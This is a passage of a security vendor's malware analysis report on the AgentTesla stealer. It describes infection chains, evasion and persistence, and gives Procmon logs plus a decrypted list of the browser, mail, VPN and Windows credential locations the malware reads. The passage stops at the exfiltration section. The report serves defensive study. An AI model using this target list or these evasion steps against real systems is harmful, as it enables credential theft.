



# AgentTesla's Capabilities:

A Review and Detection Strategies



# FOREWORD

---

Over the past few months, at logpoint, we have been tracking the malware known as AgentTesla. Since 2014, AgentTesla has been utilized in various data theft campaigns by threat actors such as SWEED, Aggah, and SILVERTERRIER. Its capabilities to infiltrate systems, maintain persistence, collect and exfiltrate data while evading defense made it a popular choice among threat actors.



**Anish Bogati**

Logpoint Global Services and Security Research

Anish Bogati is a cybersecurity enthusiast and is working as a security researcher at Logpoint. He is passionate about creating effective detection rules that help organizations detect threats on their networks.

[Find Anish on LinkedIn](#)

# TABLE OF CONTENTS

<b>Foreword and Author</b>	01
<b>About Logpoint Emerging Threats Protection</b>	02
<b>Case Study</b>	03
<b>Methodology</b>	04
<b>Malware Analysis</b>	05
• Infection Chain	05
• Behavioral Analysis	06
• Exfiltration Techniques	10
<b>Detection using Logpoint</b>	12
<b>Investigation and Response using Logpoint</b>	20
<b>Conclusion</b>	26

**\*\*All new detection rules are available as part of Logpoint's latest release**, as well as through the [Logpoint Help Center](#). Customized investigation and response playbooks are available to all Logpoint Emerging Threats Protection customers.


## ABOUT LOGPOINT EMERGING THREATS PROTECTION

The cybersecurity threat landscape continuously changes while new risks and threats are discovered all the time. Not every organization has enough resources or the know-how to deal with evolving threats.

Emerging Threats Protection is a managed service provided by a Logpoint team of highly skilled security researchers that are experts in the field of threat intelligence and incident response. Our team keeps you informed on the latest threats and provides custom detection rules and tailor-made playbooks designed to help you investigate and mitigate emerging incidents.

**\*\*All new detection rules are available as part of Logpoint's latest release**, as well as through the [Logpoint Help Center](#). Customized investigation and response playbooks are available to all Logpoint Emerging Threats Protection customers.

Below is a rundown of the incident, potential threats, and how to detect any potential attacks and proactively defend using Logpoint's SIEM+SOAR capabilities.



## CASE STUDY

Menlo Security detected unknown threat actors targeting government sectors where the threat actors leveraged a loader malware known as PureCrypter to download AgentTesla in the victim system for credential harvesting and for the backdoor. The campaigns started via phishing, where victims were lured to open a link that redirected them to discord's CDN. By visiting the site a password-protected zip file was downloaded. When the password-protected file was unzipped a .Net Based malware PureCrypter was extracted. After PureCrypter was executed, it then downloaded AgentTesla into the system. The downloaded malware was obfuscated which helped in evading detection. When AgentTesla was executed it performed process hollowing [\[T1055.012\]](#) on [cvtres.exe](#) process. AgentTesla utilized the XOR operation to encode the strings in the file [\[T1027\]](#). The AgentTesla sample utilized the FTP protocol for data exfiltration [\[TA0010\]](#).

We have seen similar cases in every instance where AgentTesla was used as a secondary malware.

From a similar incident response performed by the Morphisec team, the attack chain always began with a phishing attack. The phishing was masquerading as an order detail that the victim was receiving from a trusted third party but in this case, the third party was compromised. As user was convinced to execute the malicious attachment which was a Word file. The word file contained a payload to exploit a memory corruption vulnerability in the Equation editor. After the vulnerability was successfully exploited the second-stage payload was downloaded into the system. The dropped file was an image file. Steganography [\[T1027.003\]](#) was utilized to hide the malicious payload inside the image. After the payload was extracted it removed the file's ZoneIdentifier which prevents users to know the source of the file (ZoneIdentifier provides information

about the source of the file). After execution, it scheduled a task and sets the binary in the Run registry for persistence. Then the malware was detected performing process hollowing on the `regasm.exe` binary. All the list of browsers and their credential file were hardcoded inside the binary with XOR operation.

```
CookiesOperaChrome\Google\Chrome\User Data\360Chrome\Chrome\User DataYandexSRWare IronBrave Browser\Iridium\User DataCoolNovoEpic Privacy Browse  
rCocCocQQ BrowserTencent\QQBrowser\User DataUC BrowserUCBrowser\UCozMediacookies.sqliteFirefoxAPPDATA\Mozilla\Firefox\IceCat\Mozilla\icecat\Pale  
Moon\Moonchild Productions\Pale Moon\SeaMonkey\Mozilla\SeaMonkey\Flock\Flock\Browser\K-Meleon\Meleon\Postbox\Postbox\Thunderbird\Thunderbird\I  
ceDragon\Comodo\IceDragon\WaterFox\WaterFox\BlackHawk\NETGATE Technologies\BlackHawk\CyberFox\Specxstudios\CyberFox\Path=[A-z0-9\\.\\-]+profil  
es.ini\Default\Profileorigin_urlusername_valuepassword_valuev1v1\Local State"encrypted_key": "(.*")"\Default\Login Data\Login Data\Google\Chrom  
e\User Data\loginsMajorMinor2FLA6504-0641-44CF-8BBS-3612D865F2E5Windows Secure Note3CCD5499-87AB-4B10-A215-608888DD3B55Windows Web Password Cred  
ential154E23D0-C644-4E6F-8CE6-5069272F999FWindows Credential Picker Protector4BF4C442-98BA-41A0-B380-DD4A704DB28Web Credentials77BC582B-F0A6-4E  
15-4E80-61736B6F3B29Windows CredentialsE69D7838-91B5-4FC9-89D5-230D4DCC2BCWindows Domain Certificate Credential3E0E35BE-1B77-43E7-B873-AED901B6  
275BWindows Domain Password Credential13C886FF3-2669-4AA2-A8FB-3F6759A77548Windows Extended Credential00000000-0000-0000-0000-000000000005SchemaI  
dpResourceElementpIdentityElementpPackageSIdpAuthenticatorElementIE/EdgeTypeValue\Common Files\Apple\Apple Application Support\plutil.exe\Apple  
Computer\Preferences\keychain.plist*Login Data\journal\wow_logins\Microsoft\Edge\User Data\Edge Chromium\Microsoft\Credentials\Microsoft\Protect\G  
uidMasterKey\Default\EncryptedStorage\EncryptedStorageentriesCategoryPasswordstr3str2blob0PopPasswordSmtpPasswordSoftware\Incredimail\Identities  
\Accounts>NewEmailAddressSmtpServer\incredimailHKEY_CURRENT_USER\Software\Qualcomm\Eudora\CommandLinecurrentSettingsSavePasswordTextReturnAddress  
eEudora\falkon\profiles\startProfile="([A-z0-9\\/.]+)"browsedata.dbautofillFalkon BrowserstartProfile="([A-z0-9\\/.]+)"Backend="([A-z0-9\\/.-]+)\s  
ettings.ini\Claws-mail\clawsrcpasskey0master_passphrase_salt=(.+)master_passphrase_pbkdf2_rounds=(.+)use_master_passphrase=(.+)\accountrcsmtpt_se  
rveraddressaccount\passwordstorerc((.*)_(*))\ClawsMailtransformFinalBlockSubstringIterationCountsogns3.txt--  
.objectsDataDecryptTripleDesFlock BrowserALLUSERSPROFILE\DynamicDNS\Updater\config.dyndnsusername==password=&Ht6KzXhChhttp://DynDns.comDynDNS\Psi\pr  
files\Psi\profiles\accounts.xmlnamejidpasswordPsi\Psi+Software\OpenVPN-GUI\configsSoftware\OpenVPN-GUI\configs\usernameauth-dataentropyOpen VB  
NUSERPROFILE\openVPN\config\remote\FileZilla\recentservers.xml<Server><Host></Host><Port></Port><User></User><Pass encoding="base64"></Pass><P  
ass>FileZillaSOFTWARE\Martin Prikryl\WinSCP 2\SessionsHostNameUserNamePublicKeyFilePortNumber22[PRIVATE KEY LOCATION: "(0)"]WinSCFUsernameAll  
Users\FlashFXP\3quick.datIP\port=user=pass=created=FlashFXP\FTP Navigator\FtpList.txtServerNo PasswordUserFTP NavigatorProgramfiles(x86)\programf  
iles\jDownloader\config\database.script\programfiles(x86)\INSERT INTO CONFIG VALUES('AccountController','sq.txtJDownloaderSoftware\PaltalkHKEY_CURRENT_USER\SO  
FTWARE\Paltalk\pwdPaltalk\purple.accounts.xml<account><protocol><protocol><name></name><password></password>Pidgin\SmartFTP\Client 2.0\Favorites\Quick Connect\SmartFTP\Client 2.0\Favorites\Quick Connect*.xml<Password></Password><Name></Name>SmartFTPAppdata\Ipswitch\WS_FTP  
Sites\ws_ftp.iniHOSTUIDPWD5_FTPPWD=KeyModeIVPaddingCreateDecryptor\cftp\ftplist.txt\Server=:Port=:Password=User;Anonymous=Name=FTPCommander\FT  
PGetter\servers.xml<server><server_ip></server_ip><server_port></server_port><server_user_name></server_user_name><server_user_password></serve  
r_user_password>FTPGetterHKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUCHKEY_CURRENT_USER\SOFTWARE\Vitalwerks\DCUSERnameNO-IP+-0123456789ABCDEFHJK  
TMNODORPTTUVWXY7shydefnhiiklmnnnvvvvvvvvvThe Rat\! Account.CEN***_TheRat\HKFV\TMRFNT\NSFR\Software\RingMyR\RingMyR\Settings\StartDirFolder\test\Mailbox
```

Decrypted XOR strings containing a list of browsers (Source: [Morphisec](#))

## METHODOLOGY

For the analysis of AgentTesla, we have used multiple samples to provide an all-encompassing detection and understanding. The samples used were retrieved from [MalwareBazaar](#) and for reference, samples from online sandbox [any.run](#) were utilized and are referenced in mentioned section. We performed a dynamic analysis of the samples, by detonating the malware in Microsoft Windows 10 Enterprise system.

We used Process Monitor (Procmon) to observe the processes as they ran. Besides that, to provide threat actor-specific information and the campaigns that the malware was used in we took reference from the above-mentioned case studies and other cyber defense blogs to make sure we didn't leave out any crucial information and be able to provide a comprehensive report as possible.


At a high level, below are some of **AgentTesla's** core capabilities:

- **Execution** - Social engineering user to execute a malicious file, scheduling tasks for timely execution, and using various PowerShell and windows commands for execution
- **Persistence** - Modifying AutoRun registry keys and scheduling tasks.
- **Defense Evasion** - Obfuscated payload and software packers for defense evasion.
- **Credential harvesting** - Retrieve credentials from password-containing files.
- **Collection** - Collect sensitive data from browsers, VPNs, and Mail Clients.
- **Exfiltration** - Utilizes various protocols and applications to exfiltrate data.


# MALWARE ANALYSIS

## Infection Chain

The initial payload delivery and techniques used to drop the main payload in the system are similar among various malware families such as AgentTesla and Emotet. Both are primarily delivered through phishing attachments, where unsuspecting victims are lured into executing malicious files disguised as Office documents, Shortcuts, RTFs, zip, and image files. Those initial payloads when executed connect to a remote Command and Control (C2) server to download later stages of the malware. In the case of a shortcut file, execution of the payload spawned a PowerShell process, which then triggered mshta [T1218.005] to run a remote HTA application and downloaded the second stage payload. In other cases payloads were downloaded by utilizing various commands such as Invoke-WebRequest, curl, wget through the use of PowerShell [T1059.001] or command prompt [T1059.003]. A similar tactic was used in the case of malicious office document execution [T1204.002]. In some cases, multiple payloads were attached in the same file which later dropped the payload as a new file in publicly writable directories such as TEMP. Adversaries were also heavily utilizing OneNote attachments to load AgentTesla in the victim system. For more detail on using OneNote as an initial read the blog mentioned here. Below is the image of the process tree of initial payloads such as LNK and excel file process tree.



LNK process tree




Excel process tree & network connection

Some samples of AgentTesla were also discovered attempting to exploit the CVE-2017-0199 and CVE-2017-11882 vulnerabilities.

CVE-2017-0199 is a security vulnerability that affects Microsoft Office applications and WordPad. The exploitation of the vulnerability allows attackers to execute arbitrary code on a targeted system. The vulnerability is caused by the way that Microsoft Office and WordPad parse specially crafted files. The vulnerability allows attackers to execute a remote code if the user opens a specially crafted file containing a malicious OLE2link object, which can be hidden behind a hyperlink or an embedded image. When the user opens the file, the OLE2link object executes a command to download and run a malicious script from a remote location.

CVE-2017-11882 is a memory corruption vulnerability in Microsoft Office's Equation Editor that could allow remote code execution on vulnerable devices. An attacker could exploit this vulnerability by tricking users into opening a specially crafted file, which could then allow the attacker to run arbitrary code in the context of the current user.




Process graph of CVE-2017-1182 exploitation

After the initial access and execution, AgentTesla is dropped into the system. The malware then performs activities to maintain persistence by utilizing various techniques such as scheduling tasks [T1053] and placing malware in startup folders or placing it under registry Run keys [T1547.001]. The malware also performs system information and network discovery. It then proceeds with data collection by retrieving data from browsers, mail, and VPN clients' files, if the services and applications are present in the system. After collecting data from the system, AgentTesla utilizes various protocols and applications such as SMTP, FTP, Telegram, and Discord for data exfiltration.


## Behavioral Analysis

In the following contents, the malware run time behavior that we detected is mentioned, and techniques to detect and respond to such behavior are provided.

Before proceeding to analyze the sample behavior for creating detection rules, the sample was loaded into "Detect it Easy" to determine its properties and characteristics, including the presence of obfuscation techniques. The application's results indicated that the sample had been obfuscated using the .Net-based obfuscator Eazfuscator [T1027.002].



While calculating the entropy of the malware in "Detect It Easy", the result was 7+ on the entropy calculation which suggests that the binary is packed. Packing is a common technique used by malware authors to evade detection by security software and to make it more difficult for analysts to determine the functionality of the malware.



Above data are provided to showcase the use of obfuscation techniques by the malware developers.

#### Note: In some SS outputs are filtered out to provide a better view

After executing the sample, we observed that the sample first queried the supported languages and system names by querying registry keys ComputerName and ActiveComputerName under

[HKLM\System\CurrentControlSet\Control\ComputerName \[T1082\]](#).

agenttesla.exe 6044 RegQueryValue HKLM\System\CurrentControlSet\Control\ComputerName\ActiveComputerName\ComputerName  
agenttesla.exe 6044 RegCloseKey HKLM\System\CurrentControlSet\Control\ComputerName\ActiveComputerName

Querying System Name From the Registry

Then we observed that the malware was querying the registry key

"HKLM\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy" which can be used to verify the level of encryption being used by the operating system and potentially find a way to bypass it. Then malware also queries the MachineGuid via the registry.

agenttesla.exe 6064 RegOpenKey HKLM\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy  
agenttesla.exe 6064 RegQueryValue HKLM\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy\Enabled

Querying LSA Policy

agenttesla.exe 8160 RegQueryValue HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid  
agenttesla.exe 8160 RegCloseKey HKLM\SOFTWARE\Microsoft\Cryptography

Querying MachineGuid

For the malware analysis, we disabled the antivirus on our sandbox to detonate the sample, so we only observed the malware querying information related to windows defenders such as paths, and policies which we can see in below two images.

agenttesla.exe 5256 RegOpenKey HKLM\Software\Microsoft\Windows\Defender\Real-Time Protection  
agenttesla.exe 5256 RegSetValueKey HKLM\Software\Windows\Defender\Real-Time Protection  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\LocalSettingOverrideDisableRealtime...  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\DisableRealtimeMonitoring  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\LocalSettingOverrideDisableIOAVProt...  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\DisableIOAVProtection  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Policy Manager\AllowIOAVProtection  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\DisableIOAVProtection  
agenttesla.exe 5256 RegCloseKey HKLM\Software\Windows\Defender\Real-Time Protection

agenttesla.exe 5256 RegOpenKey HKLM\Software\Microsoft\Windows\Defender\Real-Time Protection  
agenttesla.exe 5256 RegSetValueKey HKLM\Software\Windows\Defender\Real-Time Protection  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\LocalSettingOverrideDisableScriptScanning  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\MpEngine\_DisableScriptScanning  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\LocalSettingOverrideDisableScriptScanning  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\DisableScriptScanning  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\LocalSettingOverrideDisableScriptScanning  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\AllowScriptScanning  
agenttesla.exe 5256 RegQueryValue HKLM\Software\Windows\Defender\Real-Time Protection\LocalSettingOverrideDisableScriptScanning  
agenttesla.exe 5256 RegCloseKey HKLM\Software\Microsoft\Windows\Defender\Real-Time Protection

After querying the system-related information the malware proceeds to retrieve network-related information and in the process has been retrieving information related to [Hostname](#), [DNSClient](#), and [Domain](#) name by querying registry keys under [HKLM\System\CurrentControlSet\Services\Tcpip\Parameters](#). Other network-related information such as previous network connections, proxy servers, network configuration, NameServer, and network adapter name was also collected by the malware.

```
agenttesla.exe 1604 RegSetInfoKey HKLM\System\CurrentControlSet\Services\Tcpip\Parameters
agenttesla.exe 1604 RegQueryValue HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Hostname
agenttesla.exe 1604 RegCloseKey HKLM\System\CurrentControlSet\Services\Tcpip\Parameters
agenttesla.exe 1604 RegOpenKey HKLM\Software\WOW6432Node\Policies\Microsoft\System\DNSClient
agenttesla.exe 1604 RegOpenKey HKLM\SOFTWARE\Policies\Microsoft\System\DNSClient
agenttesla.exe 1604 RegOpenKey HKLM\Software\WOW6432Node\Policies\Microsoft\System\DNSClient
agenttesla.exe 1604 RegOpenKey HKLM\Software\Policies\Microsoft\System\DNSClient
agenttesla.exe 1604 RegOpenKey HKLM\System\CurrentControlSet\Services\Tcpip\Parameters
agenttesla.exe 1604 RegOpenKey HKLM\System\CurrentControlSet\Services\Tcpip\Parameters
agenttesla.exe 1604 RegSetInfoKey HKLM\System\CurrentControlSet\Services\Tcpip\Parameters
agenttesla.exe 1604 RegQueryValue HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Domain
```

Querying network-related information

Before moving further the malware created various registry sub-keys under "HKLM\Software\WOW6432Node\Microsoft\Tracing". The malware updated the various values of the created registry keys. Then to evade defense and hide the malware's activities, AgentTesla attempted to disable event tracing for the malware's binary.

The screenshot shows the Windows Registry Editor with the path `Computer\HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Tracing\agenttesla_RASAPI32`. A new key named `agenttesla_RASMANCS` is being created. The right pane displays the registry values for the `agenttesla_RASMANCS` key:

Name	Type	Data
(Default)	REG_SZ	(value not set)
ConsoleTracingMask	REG_DWORD	0xffff0000 (4294901760)
EnableAutoFileTracing	REG_DWORD	0x00000000 (0)
EnableConsoleTracing	REG_DWORD	0x00000000 (0)
EnableFileTracing	REG_DWORD	0x00000000 (0)
FileDirectory	REG_EXPAND_SZ	%windir%\tracing
FileTracingMask	REG_DWORD	0xffff0000 (4294901760)
MaxFileSize	REG_DWORD	0x0100000 (1048576)

**Creation of various Registry keys**

```
RegSetValue HKLM\Software\WOW6432Node\Microsoft\Tracing\agenttesla_RASMANCS\EnableFileTracing Type: REG_DWORD, Length: 4, Data: 0
RegSetValue HKLM\Software\WOW6432Node\Microsoft\Tracing\agenttesla_RASMANCS\EnableAutoFileTracing Type: REG_DWORD, Length: 4, Data: 0
RegSetValue HKLM\Software\WOW6432Node\Microsoft\Tracing\agenttesla_RASMANCS\EnableConsoleTracing Type: REG_DWORD, Length: 4, Data: 0
```

**Registry value set for above registry keys**

After that, AgentTesla created a file with the legitimate binary name i.e. [skype.exe](#), and write the payload in the file. After writing the payload in the disk, a new registry key under the [Run](#) registry was created from the payload name, and the payload's path was then included in the value. The file placed in the Run registry is executed whenever the system is started or a user logs in to the system.

The screenshot shows the Windows Task Manager with the following entries:

Process	File Operation	Path
agenttesla.exe	CreateFile	C:\Users\Anish Bogati\AppData\Roaming\Skype\Skype.exe
agenttesla.exe	CloseFile	C:\Users\Anish Bogati\AppData\Roaming\Skype\Skype.exe
agenttesla.exe	CreateFile	C:\Users\Anish Bogati\AppData\Roaming\Skype\Skype.exe
agenttesla.exe	CreateFile	C:\Users\Anish Bogati\AppData\Roaming\Skype\Skype.exe
agenttesla.exe	CloseFile	C:\Users\Anish Bogati\AppData\Roaming\Skype\Skype.exe
agenttesla.exe	SetSecurityFile	C:\Users\Anish Bogati\AppData\Roaming\Skype\Skype.exe
agenttesla.exe	SetEndOfFileInft...	C:\Users\Anish Bogati\AppData\Roaming\Skype\Skype.exe
agenttesla.exe	WriteFile	C:\Users\Anish Bogati\AppData\Roaming\Skype\Skype.exe
agenttesla.exe	WriteFile	C:\Users\Anish Bogati\AppData\Roaming\Skype\Skype.exe

On the right, the Run registry key is shown:

Process	Action	Path
agenttesla.exe	1604 RegSetInfoKey	HCU\Software\Microsoft\Windows\CurrentVersion\Run
agenttesla.exe	1604 RegSetValue	HCU\Software\Microsoft\Windows\CurrentVersion\Run\Skype
agenttesla.exe	1604 RegCloseKey	HCU\Software\Microsoft\Windows\CurrentVersion\Run

**Creation of a new file**

**Adding a new file in the Run registry**

In another [sample](#) that we analyzed, we found out that the malware dropped a payload in the temporary file. The binary then masqueraded as svchost.exe which is a legitimate binary name in windows. After creating a file, the file is scheduled by utilizing the schtasks.exe binary [[T1053.005](#)].

atesla.exe	3136	CreateFile	C:\Users\Anish.Bogati\AppData\Local\Temp\tmp1A23.tmp
atesla.exe	3136	CloseFile	C:\Users\Anish.Bogati\AppData\Local\Temp\tmp1A23.tmp
atesla.exe	3136	CreateFile	C:\Users\Anish.Bogati\AppData\Local\Temp\tmp1A23.tmp.bat
atesla.exe	3136	CreateFile	C:\Users\Anish.Bogati\AppData\Local\Temp

Payload Dropped in Temp Folder

As it is an information stealer malware, it is used for retrieving various sensitive data from a victim's system. Then after performing the required actions and maintaining persistence the malware then proceeded to collect data and exfiltrate those data. We have found out that the malware has features to retrieve sensitive data such as cookies and credentials that are stored by various browsers [\[T1555.003\]](#). In most browsers, sensitive data such as passwords, and web browsing activities are stored in [User Data](#) file under the browser's folder, so the malware attempts to read the file in an attempt to recover credentials from it. From our observation, the list of browsers that the malware can steal data from is long, and below is the list of browsers that we observed the malware trying to steal data from.

C:\Users\Anish.Bogati\AppData\Roaming\Opera Software\Opera Stable	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Yandex\YandexBrowser\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Iridium\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Chromium\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\7Star\7Star\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Torch\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\MapleStudio\ChromePlus\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Kometa\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Amigo\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\BraveSoftware\Brave-Browser\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\CentBrowser\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Chedot\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Orbitum\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Sputnik\Sputnik\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Comodo\Dragon\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Vivaldi\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\CatalinaGroup\Citro\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\360Chrome\Chrome\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\CozMedia\Uran\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\iebaobao\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Elements\Browser\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\Epic Privacy Browser\User Data	Desired Access: Read Attributes, Disposition: Open, Options:
C:\Users\Anish.Bogati\AppData\Local\CocCoc\Browser\User Data	Desired Access: Read Attributes, Disposition: Open, Options:

AgentTesla Acessing User Data file

<b>Opera</b>	<b>Amigo</b>	<b>Comodo</b>	<b>Flock</b>	<b>WaterFox</b>
<b>Yandex</b>	<b>Brave</b>	<b>Vivaldi</b>	<b>Epic Privacy</b>	<b>Comodo IceDragon</b>
<b>Iridium</b>	<b>CentBrowser</b>	<b>Catalina</b>	<b>Browser</b>	<b>PaleMoon</b>
<b>Chromium</b>	<b>QIP Surf</b>	<b>Chrome</b>	<b>CocCoc</b>	<b>IceCat</b>
<b>7star</b>	<b>Chedot</b>	<b>Uran</b>	<b>QIP Surf</b>	<b>WaterFox</b>
<b>Torch</b>	<b>Orbitum</b>	<b>Liebao</b>	<b>Coowon</b>	<b>QQBrowser</b>
<b>Kometa</b>	<b>Sputnik</b>	<b>Elements Browser</b>	<b>CyberFox</b>	

It not only holds the capability to steal data from multiple browsers but also has the capability to steal data from multiple email clients. After attempting to steal data from various browsers installed in the system, the malware then moved forward to steal data from email clients installed in the system. The data can be a username, user mail address, attachments, list of email recipients, etc. Below is the list of email clients from whom AgentTesla can steal data:

<b>Mozilla ThunderBird</b>	<b>BlackHawk</b>	<b>Postbox</b>	<b>Fox Mail</b>	<b>Poco Mail</b>
<b>SeaMonkey</b>	<b>K-Meleon</b>	<b>Flock</b>	<b>Opera Mail</b>	<b>Mail Bird</b>

agenttesla.exe	5896	CreateFile	C:\Users\Anish.Bogati\AppData\Local\VirtualStore\Program Files\Foxmail\mail
agenttesla.exe	5896	CreateFile	C:\Users\Anish.Bogati\AppData\Local\VirtualStore\Program Files (x86)\Foxmail\mail
agenttesla.exe	5896	CreateFile	C:\Users\Anish.Bogati\AppData\Roaming\Opera Mail\Opera Mail\wand.dat
agenttesla.exe	5896	CreateFile	C:\Users\Anish.Bogati\AppData\Roaming\Pocomail\accounts.ini
agenttesla.exe	5896	ReadFile	C:\Windows\assembly\NativeImages_v4_0.30319_32\System(68e52ded8d0e73920808d8880ed14efd\System.ni.dll
agenttesla.exe	5896	CreateFile	C:\Users\Anish.Bogati\AppData\Roaming\em Client\accounts.dat
agenttesla.exe	5896	CreateFile	C:\Users\Anish.Bogati\AppData\Store\Store.db
agenttesla.exe	5896	CreateFile	C:\Users\Anish.Bogati\AppData\Local\Mailbird\Store\Store.db
agenttesla.exe	5896	CreateFile	C:\Users\Anish.Bogati\AppData\RecentServers\FileZilla\recentservers.xml

Attempt to read files from mail clients

**Note:** The CreateFile operation in the above image occurred as a result of accessing the file.

After retrieving data from browsers and mail clients, the malware also verified if any VNC software was installed in the system. Besides VNC, it also tried to retrieve data from VPN applications. During analysis, we also observed the malware trying to retrieve data from NordVPN.

agenttesla.exe	5896	RegQueryKey	HKCU
agenttesla.exe	5896	RegOpenKey	HKCU\Software\RealVNC\vncserver
agenttesla.exe	5896	RegQueryKey	HKLM
agenttesla.exe	5896	RegQueryKey	HKLM
agenttesla.exe	5896	RegOpenKey	HKLM\Software\WOW6432Node\RealVNC\WinVNC4
agenttesla.exe	5896	RegQueryKey	HKCU
agenttesla.exe	5896	RegQueryKey	HKCU
agenttesla.exe	5896	RegOpenKey	HKCU\Software\RealVNC\WinVNC4
agenttesla.exe	5896	RegQueryKey	HKLM
agenttesla.exe	5896	RegQueryKey	HKLM
agenttesla.exe	5896	RegOpenKey	HKLM\Software\WOW6432Node\ORL\WinVNC3
agenttesla.exe	5896	RegQueryKey	HKCU
agenttesla.exe	5896	RegQueryKey	HKCU
agenttesla.exe	5896	RegOpenKey	HKCU\Software\ORL\WinVNC3
agenttesla.exe	5896	RegQueryKey	HKLM
agenttesla.exe	5896	RegQueryKey	HKLM
agenttesla.exe	5896	RegOpenKey	HKLM\Software\WOW6432Node\TightVNC\Server
agenttesla.exe	5896	RegQueryKey	HKCU
agenttesla.exe	5896	RegQueryKey	HKCU
agenttesla.exe	5896	RegOpenKey	HKCU\Software\TightVNC\Server
agenttesla.exe	5896	RegQueryKey	HKLM
agenttesla.exe	5896	RegQueryKey	HKLM
agenttesla.exe	5896	RegOpenKey	HKLM\Software\WOW6432Node\TightVNC\Server
agenttesla.exe	5896	RegQueryKey	HKCU
agenttesla.exe	5896	RegQueryKey	HKCU
agenttesla.exe	5896	RegOpenKey	HKCU\Software\TightVNC\Server
agenttesla.exe	5896	RegQueryKey	HKLM
agenttesla.exe	5896	RegQueryKey	HKLM
agenttesla.exe	5896	RegOpenKey	HKLM\Software\WOW6432Node\TightVNC\Server
agenttesla.exe	5896	RegQueryKey	HKCU

#### Attempt to retrieve VNC software information

Then we also observed that the malware attempted to read data from credential files of windows systems which are present under the following directory "C:\Users\[User Profile]\AppData\Roaming\Microsoft\Credentials" for windows vista and later versions.

agenttesla.exe	3936	QueryDirectory	C:\Users\Anish Boga\AppData\Roaming\Microsoft\Credentials\
agenttesla.exe	3936	QueryDirectory	C:\Users\Anish Boga\AppData\Roaming\Microsoft\Credentials\
agenttesla.exe	3936	QueryDirectory	C:\Users\Anish Boga\AppData\Roaming\Microsoft\Credentials\
agenttesla.exe	3936	CloseFile	C:\Users\Anish Boga\AppData\Roaming\Microsoft\Credentials
agenttesla.exe	3936	CreateFile	C:\Users\Anish Boga\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B
agenttesla.exe	3936	QueryNetworkO	C:\Users\Anish Boga\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B
agenttesla.exe	3936	CloseFile	C:\Users\Anish Boga\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B
agenttesla.exe	3936	CreateFile	C:\Users\Anish Boga\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B
agenttesla.exe	3936	QueryStandardI	C:\Users\Anish Boga\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B
agenttesla.exe	3936	ReadFile	C:\Users\Anish Boga\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B
agenttesla.exe	3936	ReadFile	C:\Users\Anish Boga\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B

#### Attempt to retrieve credentials from the system


Data in such files are not in plain text so, tools such as [CredentialsFileView](#) can be utilized to decrypt and retrieve plain text data.

## Exfiltration Techniques

After harvesting credentials from the system, the malware can utilize various techniques to exfiltrate data from the system. From our observation, AgentTesla has utilized protocols such as SMTP, FTP, and HTTP and services such as Discord and Telegram for data exfiltration. The below sub-sections contain brief detail about the mentioned techniques.

### Data Exfiltration via Discord WebHooks

